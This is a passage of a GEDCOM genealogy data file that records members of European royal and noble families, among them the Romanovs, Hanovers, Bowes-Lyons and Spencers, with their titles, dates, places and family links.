FAMS @F499@\n1 FAMC @F11@\n0 @I153@ INDI\n1 NAME George Alexandrovich /Romanov/\n1 TITL Grand Duke\n1 SEX M\n1 BIRT\n2 DATE        1871\n1 DEAT\n2 DATE    JUL 1899\n2 PLAC Abbas Tuman,Caucasus,Russia\n1 BURI\n2 PLAC Peter and Paul,Cathedral,,Russia\n1 FAMC @F9@\n0 @I154@ INDI\n1 NAME Xenia  /Romanov/\n1 TITL Grand Duchess\n1 SEX F\n1 BIRT\n2 DATE        1875\n1 DEAT\n2 DATE 20 APR 1960\n2 PLAC London,England\n1 FAMS @F51@\n1 FAMC @F9@\n0 @I155@ INDI\n1 NAME Michael \"Mischa\" Alexandrovich/Romanov/\n1 TITL Grand Duke\n1 SEX M\n1 BIRT\n2 DATE        1878\n1 DEAT\n2 DATE 10 JUL 1918\n2 PLAC Perm,,,Russia\n1 FAMS @F498@\n1 FAMC @F9@\n0 @I156@ INDI\n1 NAME Olga Alexandrovna /Romanov/\n1 TITL Grand Duchess\n1 SEX F\n1 BIRT\n2 DATE  1 JUN 1882\n1 DEAT\n2 DATE 24 NOV 1960\n2 PLAC East Toronto,Ontario,,Canada\n1 BURI\n2 DATE 30 NOV 1960\n2 PLAC York Cemetery,Toronto,Ontario,Canada\n1 FAMS @F500@\n1 FAMS @F592@\n1 FAMC @F9@\n0 @I157@ INDI\n1 NAME Marie  /Pavlovna/\n1 TITL Grand Duchess\n1 SEX F\n1 BIRT\n2 DATE        1854\n1 DEAT\n2 DATE        1920\n1 FAMS @F47@\n1 FAMC @F1270@\n0 @I158@ INDI\n1 NAME Cyril Vladimirovitch /Romanov/\n1 TITL Grand Duke\n1 SEX M\n1 BIRT\n2 DATE        1876\n1 DEAT\n2 DATE        1938\n1 FAMS @F213@\n1 FAMC @F47@\n0 @I159@ INDI\n1 NAME Boris  /Romanov/\n1 TITL Grand Duke\n1 SEX M\n1 BIRT\n2 DATE        1877\n1 DEAT\n2 DATE        1943\n1 FAMS @F1379@\n1 FAMC @F47@\n0 @I160@ INDI\n1 NAME Andrei (Andrew) Vladimirovich/Romanov/\n1 TITL Grand Duke\n1 SEX M\n1 BIRT\n2 DATE        1879\n1 DEAT\n2 DATE        1956\n1 FAMS @F48@\n1 FAMC @F47@\n0 @I161@ INDI\n1 NAME Mathilde (Maria) /Krzesinska/\n1 SEX F\n1 BIRT\n2 DATE        1872\n1 DEAT\n2 DATE        1971\n1 FAMS @F48@\n1 FAMC @F1380@\n0 @I162@ INDI\n1 NAME Frederick William_III //\n1 TITL King of Prussia\n1 SEX M\n1 BIRT\n2 DATE        1770\n2 PLAC Potsdam,Germany\n1 DEAT\n2 DATE        1840\n1 FAMS @F145@\n1 FAMS @F179@\n1 FAMC @F200@\n0 @I163@ INDI\n1 NAME Alexandra of_Greece //\n1 TITL Princess\n1 SEX F\n1 BIRT\n2 DATE        1870\n1 DEAT\n2 DATE        1891\n1 FAMS @F50@\n1 FAMC @F75@\n0 @I164@ INDI\n1 NAME Dmitri Pavlovich /Romanov/\n1 TITL Grand Duke\n1 SEX M\n1 BIRT\n2 DATE        1891\n1 DEAT\n2 DATE        1941\n2 PLAC Switzerland\n1 FAMS @F511@\n1 FAMC @F50@\n0 @I165@ INDI\n1 NAME Nicholas  /Romanov/\n1 SEX M\n1 BIRT\n2 DATE        1850\n1 DEAT\n2 DATE        1918\n1 FAMS @F1267@\n1 FAMC @F112@\n0 @I166@ INDI\n1 NAME Irina  //\n1 SEX F\n1 BIRT\n2 DATE        1895\n1 FAMS @F52@\n1 FAMC @F51@\n0 @I167@ INDI\n1 NAME Felix  /Yussoupov/\n1 SEX M\n1 BIRT\n2 DATE        1887\n1 FAMS @F52@\n0 @I168@ INDI\n1 NAME Sarah Margaret /Ferguson/\n1 TITL Duchess of York\n1 SEX F\n1 BIRT\n2 DATE 15 OCT 1959\n2 PLAC 27 Welbech St.,Marylebone,London,England\n1 FAMS @F53@\n1 FAMC @F54@\n0 @I169@ INDI\n1 NAME Ronald Ivor /Ferguson/\n1 TITL Major\n1 SEX M\n1 BIRT\n2 DATE        1931\n1 FAMS @F54@\n1 FAMS @F1384@\n1 FAMC @F303@\n0 @I170@ INDI\n1 NAME Susan Mary /Wright/\n1 SEX F\n1 BIRT\n2 DATE        1937\n1 FAMS @F54@\n1 FAMS @F311@\n1 FAMC @F309@\n0 @I171@ INDI\n1 NAME Teackle Wallis /Warfield/\n1 SEX M\n1 FAMS @F55@\n0 @I172@ INDI\n1 NAME Alice  /Montague/\n1 SEX F\n1 FAMS @F55@\n0 @I173@ INDI\n1 NAME Violet Hyacinth /Bowes-Lyon/\n1 SEX F\n1 BIRT\n2 DATE        1882\n1 DEAT\n2 DATE        1893\n1 FAMC @F46@\n0 @I174@ INDI\n1 NAME Mary Frances /Bowes-Lyon/\n1 SEX F\n1 BIRT\n2 DATE        1883\n1 DEAT\n2 DATE        1961\n1 FAMS @F60@\n1 FAMC @F46@\n0 @I175@ INDI\n1 NAME Patrick  /Bowes-Lyon/\n1 SEX M\n1 BIRT\n2 DATE        1884\n1 DEAT\n2 DATE        1949\n1 FAMS @F61@\n1 FAMC @F46@\n0 @I176@ INDI\n1 NAME John Herbert /Bowes-Lyon/\n1 SEX M\n1 BIRT\n2 DATE        1886\n1 DEAT\n2 DATE        1930\n1 FAMS @F62@\n1 FAMC @F46@\n0 @I177@ INDI\n1 NAME Alexander Francis /Bowes-Lyon/\n1 SEX M\n1 BIRT\n2 DATE        1887\n1 DEAT\n2 DATE        1911\n1 FAMC @F46@\n0 @I178@ INDI\n1 NAME Fergus  /Bowes-Lyon/\n1 SEX M\n1 BIRT\n2 DATE        1889\n1 DEAT\n2 DATE        1915\n1 FAMS @F63@\n1 FAMC @F46@\n0 @I179@ INDI\n1 NAME Rose  /Bowes-Lyon/\n1 SEX F\n1 BIRT\n2 DATE        1890\n1 DEAT\n2 DATE        1967\n1 FAMS @F64@\n1 FAMC @F46@\n0 @I180@ INDI\n1 NAME Michael Claude /Bowes-Lyon/\n1 SEX M\n1 BIRT\n2 DATE        1893\n1 DEAT\n2 DATE        1953\n1 FAMS @F65@\n1 FAMC @F46@\n0 @I181@ INDI\n1 NAME David  /Bowes-Lyon/\n1 TITL Sir\n1 SEX M\n1 BIRT\n2 DATE  2 MAY 1902\n1 DEAT\n2 DATE        1961\n2 PLAC Birkhall\n1 FAMS @F66@\n1 FAMC @F46@\n0 @I182@ INDI\n1 NAME Claude  /Bowes-Lyon/\n1 TITL Earl\n1 SEX M\n1 BIRT\n2 DATE        1824\n1 DEAT\n2 DATE    FEB 1904\n1 FAMS @F56@\n1 FAMC @F57@\n0 @I183@ INDI\n1 NAME Frances Dora /Smith/\n1 SEX F\n1 BIRT\n2 DATE        1833\n1 DEAT\n2 DATE        1922\n1 FAMS @F56@\n1 FAMC @F117@\n0 @I184@ INDI\n1 NAME Thomas  /Lyon-Bowes/\n1 SEX M\n1 BIRT\n2 DATE        1773\n1 DEAT\n2 DATE        1846\n1 FAMS @F57@\n1 FAMC @F58@\n0 @I185@ INDI\n1 NAME Mary  /Carpenter/\n1 SEX F\n1 FAMS @F57@\n0 @I186@ INDI\n1 NAME Thomas George /Lyon-Bowes/\n1 SEX M\n1 BIRT\n2 DATE        1822\n1 DEAT\n2 DATE        1865\n1 FAMC @F57@\n0 @I187@ INDI\n1 NAME John  /Lyon/\n1 SEX M\n1 BIRT\n2 DATE        1737\n1 DEAT\n2 DATE        1776\n1 FAMS @F58@\n0 @I188@ INDI\n1 NAME Mary Eleanor /Bowes/\n1 SEX F\n1 BIRT\n2 DATE        1749\n1 DEAT\n2 DATE        1800\n1 FAMS @F58@\n1 FAMS @F59@\n0 @I189@ INDI\n1 NAME John Lyon /Bowes/\n1 SEX M\n1 BIRT\n2 DATE        1769\n1 DEAT\n2 DATE        1820\n1 FAMC @F58@\n0 @I190@ INDI\n1 NAME Andrew Robinson /Stoney/\n1 SEX M\n1 FAMS @F59@\n0 @I191@ INDI\n1 NAME   /Elphinstone/\n1 TITL Lord\n1 SEX M\n1 BIRT\n2 DATE        1869\n1 DEAT\n2 DATE        1955\n1 FAMS @F60@\n0 @I192@ INDI\n1 NAME Dorothy Beatrix /Osborne/\n1 TITL Lady\n1 SEX F\n1 BIRT\n2 DATE        1888\n1 DEAT\n2 DATE        1946\n1 FAMS @F61@\n0 @I193@ INDI\n1 NAME Fenella Stuart-Forbes Trefusis/Hepburn/\n1 TITL Hon\n1 SEX F\n1 BIRT\n2 DATE        1889\n1 DEAT\n2 DATE        1966\n1 FAMS @F62@\n0 @I194@ INDI\n1 NAME Christian Norah /Dawson-Damer/\n1 TITL Lady\n1 SEX F\n1 BIRT\n2 DATE        1890\n1 DEAT\n2 DATE        1959\n1 FAMS @F63@\n0 @I195@ INDI\n1 NAME   /Granville/\n1 TITL Lord\n1 SEX M\n1 BIRT\n2 DATE        1880\n1 DEAT\n2 DATE        1953\n1 FAMS @F64@\n0 @I196@ INDI\n1 NAME Elizabeth  /Cator/\n1 SEX F\n1 BIRT\n2 DATE        1899\n1 DEAT\n2 DATE        1959\n1 FAMS @F65@\n0 @I197@ INDI\n1 NAME Rachel  /Clay/\n1 TITL Lady\n1 SEX F\n1 BIRT\n2 DATE        1907\n1 FAMS @F66@\n0 @I198@ INDI\n1 NAME Jeanne d'Albret of_France//\n1 SEX F\n1 FAMS @F446@\n0 @I199@ INDI\n1 NAME Frederick Charles of_Prussia//\n1 TITL Prince\n1 SEX M\n1 FAMS @F68@\n0 @I200@ INDI\n1 NAME Maria Anna of_Anhalt//\n1 SEX F\n1 FAMS @F68@\n0 @I201@ INDI\n1 NAME John  /Campbell/\n1 TITL Duke of Argyll\n1 SEX M\n1 BIRT\n2 DATE        1845\n1 DEAT\n2 DATE        1914\n1 FAMS @F69@\n0 @I202@ INDI\n1 NAME Frederick  /Hanover/\n1 TITL Duke of York\n1 SEX M\n1 BIRT\n2 DATE 16 AUG 1763\n2 PLAC St. James Palace,London,England\n1 DEAT\n2 DATE  5 JAN 1827\n2 PLAC Rutland House,Arlington St.,London,England\n1 FAMS @F185@\n1 FAMC @F39@\n0 @I203@ INDI\n1 NAME William_IV Henry /Hanover/\n1 TITL King of England\n1 SEX M\n1 BIRT\n2 DATE 21 AUG 1765\n2 PLAC Buckingham House,London,England\n1 DEAT\n2 DATE 20 JUN 1837\n2 PLAC Windsor Castle,Windsor,Berkshire,England\n1 BURI\n2 PLAC St. George Chap.,Windsor,Berkshire,England\n1 FAMS @F73@\n1 FAMC @F39@\n0 @I204@ INDI\n1 NAME Charlotte Augusta Matilda/Hanover/\n1 TITL Princess Royal\n1 SEX F\n1 BIRT\n2 DATE 29 SEP 1766\n2 PLAC Buckingham House,St. James Park,London,England\n1 DEAT\n2 DATE  6 OCT 1828\n2 PLAC Ludwigsburg\n1 FAMS @F82@\n1 FAMC @F39@\n0 @I205@ INDI\n1 NAME Ferdinand  //\n1 SEX M\n1 BIRT\n2 DATE        1785\n1 DEAT\n2 DATE        1851\n1 FAMS @F1370@\n1 FAMC @F1147@\n0 @I206@ INDI\n1 NAME Mary  //\n1 SEX F\n1 BIRT\n2 DATE        1799\n1 DEAT\n2 DATE        1860\n1 FAMS @F1368@\n0 @I207@ INDI\n1 NAME Charles  /Cavendish-Bentin/\n1 TITL Reverend\n1 SEX M\n1 BIRT\n2 DATE        1817\n1 DEAT\n2 DATE        1865\n1 FAMS @F71@\n1 FAMC @F115@\n0 @I208@ INDI\n1 NAME Caroline Louisa /Burnaby/\n1 SEX F\n1 BIRT\n2 DATE        1832\n1 DEAT\n2 DATE        1918\n1 FAMS @F71@\n1 FAMC @F116@\n0 @I209@ INDI\n1 NAME Augusta Sophia /Hanover/\n1 SEX F\n1 BIRT\n2 DATE  8 NOV 1768\n2 PLAC Buckingham House\n1 DEAT\n2 DATE 22 SEP 1840\n2 PLAC Clarence House,St. James\n1 FAMC @F39@\n0 @I210@ INDI\n1 NAME Elizabeth  /Hanover/\n1 SEX F\n1 BIRT\n2 DATE 22 MAY 1770\n2 PLAC Buckingham House\n1 DEAT\n2 DATE 10 JAN 1840\n2 PLAC Frankfurt,-am-Main\n1 FAMS @F72@\n1 FAMC @F39@\n0 @I211@ INDI\n1 NAME Frederick_VI of_Hesse-Homburg //\n1 TITL Landgrave\n1 SEX M\n1 BIRT\n2 DATE        1769\n1 DEAT\n2 DATE        1829\n1 FAMS @F72@\n0 @I212@ INDI\n1 NAME Ernest Augustus_I /Hanover/\n1 TITL King of Hanover\n1 SEX M\n1 BIRT\n2 DATE  5 JUN 1771\n2 PLAC Buckingham House,London,England\n1 DEAT\n2 DATE 18 NOV 1851\n2 PLAC Herrenhausen\n1 BURI\n2 PLAC Herrenhausen\n1 FAMS @F83@\n1 FAMC @F39@\n0 @I213@ INDI\n1 NAME Augustus Frederick /Hanover/\n1 TITL Duke of Sussex\n1 SEX M\n1 BIRT\n2 DATE 27 JAN 1773\n2 PLAC Buckingham House\n1 DEAT\n2 DATE 21 APR 1843\n2 PLAC Kensington Palac\n1 FAMC @F39@\n0 @I214@ INDI\n1 NAME Mary  /Hanover/\n1 SEX F\n1 BIRT\n2 DATE 25 APR 1776\n2 PLAC Buckingham House\n1 DEAT\n2 DATE 30 APR 1857\n2 PLAC Gloucester House,Piccadilly,London,England\n1 FAMS @F93@\n1 FAMC @F39@\n0 @I215@ INDI\n1 NAME Sophia  /Hanover/\n1 SEX F\n1 BIRT\n2 DATE  2 NOV 1777\n2 PLAC Buckingham House\n1 DEAT\n2 DATE 27 MAY 1848\n2 PLAC Vicarage Place,Kensington\n1 FAMC @F39@\n0 @I216@ INDI\n1 NAME Octavius  /Hanover/\n1 SEX M\n1 BIRT\n2 DATE 23 FEB 1779\n2 PLAC Buckingham House\n1 DEAT\n2 DATE  3 MAY 1783\n2 PLAC Kew Palace\n1 FAMC @F39@\n0 @I217@ INDI\n1 NAME Alfred  /Hanover/\n1 SEX M\n1 BIRT\n2 DATE 22 SEP 1780\n2 PLAC Windsor Castle,Windsor,Berkshire,England\n1 DEAT\n2 DATE 20 AUG 1783\n2 PLAC Windsor Castle,Windsor,Berkshire,England\n1 FAMC @F39@\n0 @I218@ INDI\n1 NAME Amelia  /Hanover/\n1 SEX F\n1 BIRT\n2 DATE  7 AUG 1783\n2 PLAC Royal Lodge,Windsor,Berkshire,England\n1 DEAT\n2 DATE  2 NOV 1810\n2 PLAC Augusta Lodge,Windsor,Berkshire,England\n1 FAMC @F39@\n0 @I219@ INDI\n1 NAME Adelaide Louisa Theresa//\n1 TITL Princess\n1 SEX F\n1 BIRT\n2 DATE 13 AUG 1792\n2 PLAC Meiningen\n1 DEAT\n2 DATE  2 DEC 1849\n2 PLAC Near Stanmore,Middlesex,England\n1 BURI\n2 PLAC St. George Chap.,Windsor,England\n1 FAMS @F73@\n1 FAMC @F277@\n0 @I220@ INDI\n1 NAME Charlotte Augusta Louisa/Hanover/\n1 SEX F\n1 BIRT\n2 DATE        1819\n1 DEAT\n2 DATE 27 MAR 1819\n2 PLAC Furstenhof,Hanover\n1 FAMC @F73@\n0 @I221@ INDI\n1 NAME Elizabeth Georgiana Adelaide/Hanover/\n1 SEX F\n1 BIRT\n2 DATE 10 DEC 1820\n2 PLAC St. James Palac\n1 DEAT\n2 DATE  4 MAR 1821\n2 PLAC St. James Palac\n1 FAMC @F73@\n0 @I222@ INDI\n1 NAME Twin-Boy_1  //\n1 SEX M\n1 BIRT\n2 DATE 23 APR 1822\n2 PLAC Bushy Park\n1 DEAT\n2 DATE 23 APR 1822\n2 PLAC Bushy Park\n1 FAMC @F73@\n0 @I223@ INDI\n1 NAME Twin-Boy_2  //\n1 SEX M\n1 BIRT\n2 DATE 23 APR 1822\n2 PLAC Bushy Park\n1 DEAT\n2 DATE 23 APR 1822\n2 PLAC Bushy Park\n1 FAMC @F73@\n0 @I224@ INDI\n1 NAME Marie  //\n1 SEX F\n1 BIRT\n2 DATE        1852\n1 DEAT\n2 DATE        1923\n1 FAMS @F171@\n1 FAMC @F109@\n0 @I225@ INDI\n1 NAME Christian_IX  //\n1 TITL King of Denmark\n1 SEX M\n1 BIRT\n2 DATE  8 APR 1818\n2 PLAC Gottorp\n1 DEAT\n2 DATE 29 JAN 1906\n2 PLAC Amalienborg\n1 BURI\n2 PLAC Roskilde,Denmark\n1 FAMS @F74@\n1 FAMC @F108@\n0 @I226@ INDI\n1 NAME Louise of_Hesse-Cassel //\n1 TITL Princess\n1 SEX F\n1 BIRT\n2 DATE  7 SEP 1817\n2 PLAC Cassel\n1 DEAT\n2 DATE 29 SEP 1898\n2 PLAC Bernstorff\n1 FAMS @F74@\n1 FAMC @F96@\n0 @I227@ INDI\n1 NAME William George_I of_the_Hellenes/Oldenburg/\n1 TITL King of Greece\n1 SEX M\n1 BIRT\n2 DATE 24 DEC 1845\n2 PLAC Copenhagen,Denmark\n1 DEAT\n2 DATE 18 MAR 1913\n2 PLAC Salonika\n1 BURI\n2 PLAC Tatoi\n1 FAMS @F75@\n1 FAMC @F74@\n0 @I228@ INDI\n1 NAME Olga Constantinovna //\n1 TITL Princess\n1 SEX F\n1 BIRT\n2 DATE        1851\n1 DEAT\n2 DATE        1926\n1 BURI\n2 DATE    NOV 1936\n2 PLAC Tatoi,Near Athens,Greece\n1 FAMS @F75@\n1 FAMC @F112@\n0 @I229@ INDI\n1 NAME Nicholas of_Greece //\n1 TITL Prince\n1 SEX M\n1 BIRT\n2 DATE        1872\n1 DEAT\n2 DATE        1938\n1 FAMS @F76@\n1 FAMC @F75@\n0 @I230@ INDI\n1 NAME Child_6  //\n1 SEX M\n1 BIRT\n2 DATE        1913\n1 FAMC @F139@\n0 @I231@ INDI\n1 NAME Child_5  //\n1 SEX M\n1 FAMC @F139@\n0 @I232@ INDI\n1 NAME Paul_I  /Oldenburg/\n1 TITL King of Greece\n1 SEX M\n1 BIRT\n2 DATE 14 DEC 1901\n2 PLAC Athens,Greece\n1 DEAT\n2 DATE  6 MAR 1964\n2 PLAC Tatoi,Near Athens,Greece\n1 BURI\n2 PLAC Tatoi,Near Athens,Greece\n1 FAMS @F162@\n1 FAMC @F139@\n0 @I233@ INDI\n1 NAME Helen of_Greece //\n1 TITL Princess\n1 SEX F\n1 BIRT\n2 DATE  2 MAY 1896\n2 PLAC Athens,Greece\n1 DEAT\n2 DATE 28 NOV 1982\n2 PLAC Lausanne,Switzerland\n1 FAMS @F160@\n1 FAMC @F139@\n0 @I234@ INDI\n1 NAME Alexander_I  /Oldenburg/\n1 TITL King of Greece\n1 SEX M\n1 BIRT\n2 DATE  1 AUG 1893\n2 PLAC Tatoi\n1 DEAT\n2 DATE 25 OCT 1920\n2 PLAC Athens,Greece\n1 BURI\n2 PLAC Tatoi\n1 FAMS @F164@\n1 FAMC @F139@\n0 @I235@ INDI\n1 NAME Sumner M. /Kirby/\n1 SEX F\n1 DEAT\n2 DATE        1945\n1 FAMS @F1381@\n0 @I236@ INDI\n1 NAME Child_2  //\n1 SEX M\n1 FAMC @F76@\n0 @I237@ INDI\n1 NAME Child_3  //\n1 SEX M\n1 FAMC @F76@\n0 @I238@ INDI\n1 NAME Louise Alexandra /Mountbatten/\n1 TITL Princess\n1 SEX F\n1 BIRT\n2 DATE 13 JUL 1889\n2 PLAC Schloss,Heiligenberg\n1 DEAT\n2 DATE  7 MAR 1965\n2 PLAC Stockholm,Sweden\n1 FAMS @F77@\n1 FAMC @F27@\n0 @I239@ INDI\n1 NAME Edward John VIII/Spencer/\n1 TITL Earl of Spencer\n1 SEX M\n1 BIRT\n2 DATE 24 JAN 1924\n2 PLAC England\n1 DEAT\n2 DATE 29 MAR 1992\n2 PLAC London,England\n1 FAMS @F78@\n1 FAMS @F79@\n1 FAMC @F118@\n0 @I240@ INDI\n1 NAME Sarah  /Spencer/\n1 TITL Hon.\n1 SEX F\n1 BIRT\n2 DATE        1955\n1 FAMS @F301@\n1 FAMC @F78@\n0 @I241@ INDI\n1 NAME Jane  /Spencer/\n1 TITL Hon.\n1 SEX F\n1 BIRT\n2 DATE        1957\n1 FAMS @F300@\n1 FAMC @F78@\n0 @I242@ INDI\n1 NAME Charles  /Spencer/\n1 TITL Vicount Althorp\n1 SEX M\n1 BIRT\n2 DATE        1964\n1 FAMS @F1403@\n1 FAMC @F78@\n0 @I243@ INDI\n1 NAME Raine of_Dartmouth /McCorquodale/\n1 TITL Countess\n1 SEX F\n1 BIRT\n2 DATE    SEP 1929\n1 FAMS @F1414@\n1 FAMS @F79@\n1 FAMC @F299@\n0 @I244@ INDI\n1 NAME George Earl_of_Harewood /Lascelles/\n1 TITL Viscount\n1 SEX M\n1 BIRT\n2 DATE        1923\n1 FAMS @F94@\n1 FAMS @F101@\n1 FAMC @F18@\n0 @I245@ INDI\n1 NAME Louise Marie d'Orleans//\n1 SEX F\n1 BIRT\n2 DATE  3 APR 1812\n2 PLAC Palermo,Italy\n1 DEAT\n2 DATE 11 OCT 1850\n2 PLAC Ostende\n1 BURI\n2 PLAC Laeken,Belgium\n1 FAMS @F663@\n1 FAMC @F1187@\n0 @I246@ INDI\n1 NAME Ludwig_IX of_Hesse- Darmstadt//\n1 TITL Landgrave\n1 SEX M\n1 FAMS @F81@\n0 @I247@ INDI\n1 NAME Frederick_I of_Wurttemberg //\n1 TITL King\n1 SEX M\n1 BIRT\n2 DATE        1754\n1 DEAT\n2 DATE        1816\n1 FAMS @F82@\n1 FAMS @F405@\n1 FAMC @F404@\n0 @I248@ INDI\n1 NAME Frederica of_Mecklenburg- Strelitz//\n1 TITL Duchess\n1 SEX F\n1 BIRT\n2 DATE  2 MAR 1778\n2 PLAC Hanover,Germany\n1 DEAT\n2 DATE 29 JUN 1841\n2 PLAC Hanover\n1 BURI\n2 PLAC Herrenhausen\n1 FAMS @F201@\n1 FAMS @F83@\n1 FAMC @F520@\n0 @I249@ INDI\n1 NAME George_V  /Hanover/\n1 TITL King of Hanover\n1 SEX M\n1 BIRT\n2 DATE 27 MAY 1819\n2 PLAC Berlin,Germany\n1 DEAT\n2 DATE 12 JUN 1878\n2 PLAC Paris,France\n1 BURI\n2 PLAC St George Chapel,Windsor,England\n1 FAMS @F84@\n1 FAMC @F83@\n0 @I250@ INDI\n1 NAME Mary of_Saxe- Altenburg//\n1 TITL Princess\n1 SEX F\n1 BIRT\n2 DATE 14 APR 1818\n2 PLAC Hildburghausen\n1 DEAT\n2 DATE  9 JAN 1907\n2 PLAC Gmunden,Austria\n1 BURI\n2 PLAC Gmunden\n1 FAMS @F84@\n0 @I251@ INDI\n1 NAME Ernest Augustus of_Cumberland/Hanover/\n1 TITL Duke\n1 SEX M\n1 BIRT\n2 DATE        1845\n1 DEAT\n2 DATE        1923\n1 FAMS @F85@\n1 FAMC @F84@\n0 @I252@ INDI\n1 NAME Frederica  /Hanover/\n1 SEX F\n1 BIRT\n2 DATE        1848\n1 DEAT\n2 DATE        1926\n1 FAMS @F86@\n1 FAMC @F84@\n0 @I253@ INDI\n1 NAME Mary  /Hanover/\n1 SEX F\n1 BIRT\n2 DATE        1849\n1 DEAT\n2 DATE        1904\n1 FAMC @F84@\n0 @I254@ INDI\n1 NAME Thyra of_Denmark //\n1 TITL Princess\n1 SEX F\n1 BIRT\n2 DATE        1853\n1 DEAT\n2 DATE        1933\n1 FAMS @F85@\n1 FAMC @F74@\n0 @I255@ INDI\n1 NAME Marie Louise /Hanover/\n1 SEX F\n1 BIRT\n2 DATE        1879\n1 DEAT\n2 DATE        1948\n1 FAMS @F397@\n1 FAMC @F85@\n0 @I256@ INDI\n1 NAME George William /Hanover/\n1 SEX M\n1 BIRT\n2 DATE        1880\n1 DEAT\n2 DATE        1912\n1 FAMC @F85@\n0 @I257@ INDI\n1 NAME Alexandra  /Hanover/\n1 SEX F\n1 BIRT\n2 DATE        1882\n1 DEAT\n2 DATE        1963\n1 FAMS @F398@\n1 FAMC @F85@\n0 @I258@ INDI\n1 NAME Olga  /Hanover/\n1 SEX F\n1 BIRT\n2 DATE        1884\n1 DEAT\n2 DATE        1958\n1 FAMC @F85@\n0 @I259@ INDI\n1 NAME Christian  /Hanover/\n1 SEX M\n1 BIRT\n2 DATE        1885\n1 DEAT\n2 DATE        1901\n1 FAMC @F85@\n0 @I260@ INDI\n1 NAME Rene of_Bourbon-Parma //\n1 TITL Prince\n1 SEX M\n1 FAMS @F399@\n0 @I261@ INDI\n1 NAME Alfons  /Pawel-Rammingen/\n1 TITL Baron von\n1 SEX M\n1 BIRT\n2 DATE        1843\n1 DEAT\n2 DATE        1932\n1 FAMS @F86@\n0 @I262@ INDI\n1 NAME George of_Cambridge //\n1 TITL Duke\n1 SEX M\n1 BIRT\n2 DATE        1819\n1 DEAT\n2 DATE        1904\n1 FAMS @F87@\n1 FAMC @F40@\n0 @I263@ INDI\n1 NAME Sarah (Louisa) /Fairbrother/\n1 SEX F\n1 BIRT\n2 DATE        1815/1816\n1 DEAT\n2 DATE        1890\n1 FAMS @F87@\n0 @I264@ INDI\n1 NAME George  /FitzGeorge/\n1 SEX M\n1 BIRT\n2 DATE        1843\n1 DEAT\n2 DATE        1907\n1 FAMS @F88@\n1 FAMC @F87@\n0 @I265@ INDI\n1 NAME Adolphus  //\n1 SEX M\n1 BIRT\n2 DATE        1846\n1 DEAT\n2 DATE        1922\n1 FAMC @F87@\n0 @I266@ INDI\n1 NAME Agustus  //\n1 SEX M\n1 BIRT\n2 DATE        1847\n1 DEAT\n2 DATE        1933\n1 FAMC @F87@\n0 @I267@ INDI\n1 NAME Rosa  /Baring/\n1 SEX F\n1 FAMS @F88@\n0 @I268@ INDI\n1 NAME Son_1  //\n1 SEX M\n1 FAMC @F88@\n0 @I269@ INDI\n1 NAME Dau._1  //\n1 SEX F\n1 FAMC @F88@\n0 @I270@ INDI\n1 NAME Dau._2  //\n1 SEX F\n1 FAMC @F88@\n0 @I271@ INDI\n1 NAME Frederick William //\n1 TITL Grand Duke\n1 SEX M\n1 BIRT\n2 DATE        1819\n1 DEAT\n2 DATE        1904\n1 FAMS @F89@\n0 @I272@ INDI\n1 NAME Adolphus Frederick_V //\n1 TITL Grand Duke\n1 SEX M\n1 BIRT\n2 DATE        1848\n1 DEAT\n2 DATE        1914\n1 FAMS @F90@\n1 FAMC @F89@\n0 @I273@ INDI\n1 NAME Elisabeth of_Anhalt //\n1 TITL Princess\n1 SEX F\n1 BIRT\n2 DATE        1857\n1 DEAT\n2 DATE        1933\n1 FAMS @F90@\n0 @I274@ INDI\n1 NAME Son_1  //\n1 SEX M\n1 FAMC @F90@\n0 @I275@ INDI\n1 NAME Son_2  //\n1 SEX M\n1 FAMC @F90@\n0 @I276@ INDI\n1 NAME Dau._1  //\n1 SEX F\n1 FAMC @F90@\n0 @I277@ INDI\n1 NAME Dau._2  //\n1 SEX F\n1 FAMC @F90@\n0 @I278@ INDI\n1 NAME Adolphus 2nd //\n1 TITL Duke of Teck\n1 SEX M\n1 BIRT\n2 DATE        1868\n1 DEAT\n2 DATE        1927\n1 FAMS @F91@\n1 FAMC @F41@\n0 @I279@ INDI\n1 NAME Francis  //\n1 TITL Prince\n1 SEX M\n1 BIRT\n2 DATE        1870\n1 DEAT\n2 DATE        1910\n1 FAMC @F41@\n0 @I280@ INDI\n1 NAME Alexander George of_Teck//\n1 TITL Earl of Athlone\n1 SEX M\n1 BIRT\n2 DATE        1874\n1 DEAT\n2 DATE        1957\n1 FAMS @F38@\n1 FAMC @F41@\n0 @I281@ INDI\n1 NAME Margaret  /Grosvenor/\n1 TITL Lady\n1 SEX F\n1 BIRT\n2 DATE        1873\n1 DEAT\n2 DATE        1929\n1 FAMS @F91@\n0 @I282@ INDI\n1 NAME George of_Cambridge //\n1 TITL Marquess\n1 SEX M\n1 BIRT\n2 DATE        1895\n1 FAMS @F666@\n1 FAMC @F91@\n0 @I283@ INDI\n1 NAME Son_2  //\n1 SEX M\n1 FAMC @F91@\n0 @I284@ INDI\n1 NAME Mary  //\n1 TITL Lady\n1 SEX F\n1 BIRT\n2 DATE        1897\n1 FAMS @F667@\n1 FAMC @F91@\n0 @I285@ INDI\n1 NAME Helena  //\n1 TITL Lady\n1 SEX F\n1 BIRT\n2 DATE        1899\n1 DEAT\n2 DATE        1969\n1 FAMS @F668@\n1 FAMC @F91@\n0 @I286@ INDI\n1 NAME Edward_II  //\n1 TITL King of England\n1 SEX M\n1 BIRT\n2 DATE 25 APR 1284\n2 PLAC Caernarvon,Castle,Wales\n1 DEAT\n2 DATE 21 SEP 1327\n2 PLAC Berkeley Castle,Gloucestershire\n1 BURI\n2 PLAC Gloucester,Cathedral\n1 FAMS @F92@\n1 FAMC @F464@\n0 @I287@ INDI\n1 NAME Rupert  //\n1 TITL Vicount Trematon\n1 SEX M\n1 DEAT\n2 DATE        1928\n1 FAMC @F38@\n0 @I288@ INDI\n1 NAME Son_2  //\n1 SEX M\n1 FAMC @F38@\n0 @I289@ INDI\n1 NAME May Cambridge //\n1 TITL Lady\n1 SEX F\n1 BIRT\n2 DATE        1906\n1 FAMS @F669@\n1 FAMC @F38@\n0 @I290@ INDI\n1 NAME William Frederick of_Gloucester//\n1 TITL Duke\n1 SEX M\n1 BIRT\n2 DATE        1776\n1 DEAT\n2 DATE        1834\n1 FAMS @F93@\n1 FAMC @F279@\n0 @I291@ INDI\n1 NAME Gerald  /Lascelles/\n1 TITL Hon.\n1 SEX M\n1 BIRT\n2 DATE        1924\n1 FAMS @F95@\n1 FAMS @F102@\n1 FAMC @F18@\n0 @I292@ INDI\n1 NAME Marion (Maria) Donata/Stein/\n1 TITL Countess\n1 SEX F\n1 BIRT\n2 DATE        1926\n1 FAMS @F94@\n1 FAMC @F1413@\n0 @I293@ INDI\n1 NAME David  /Lascelles/\n1 TITL Viscount\n1 SEX M\n1 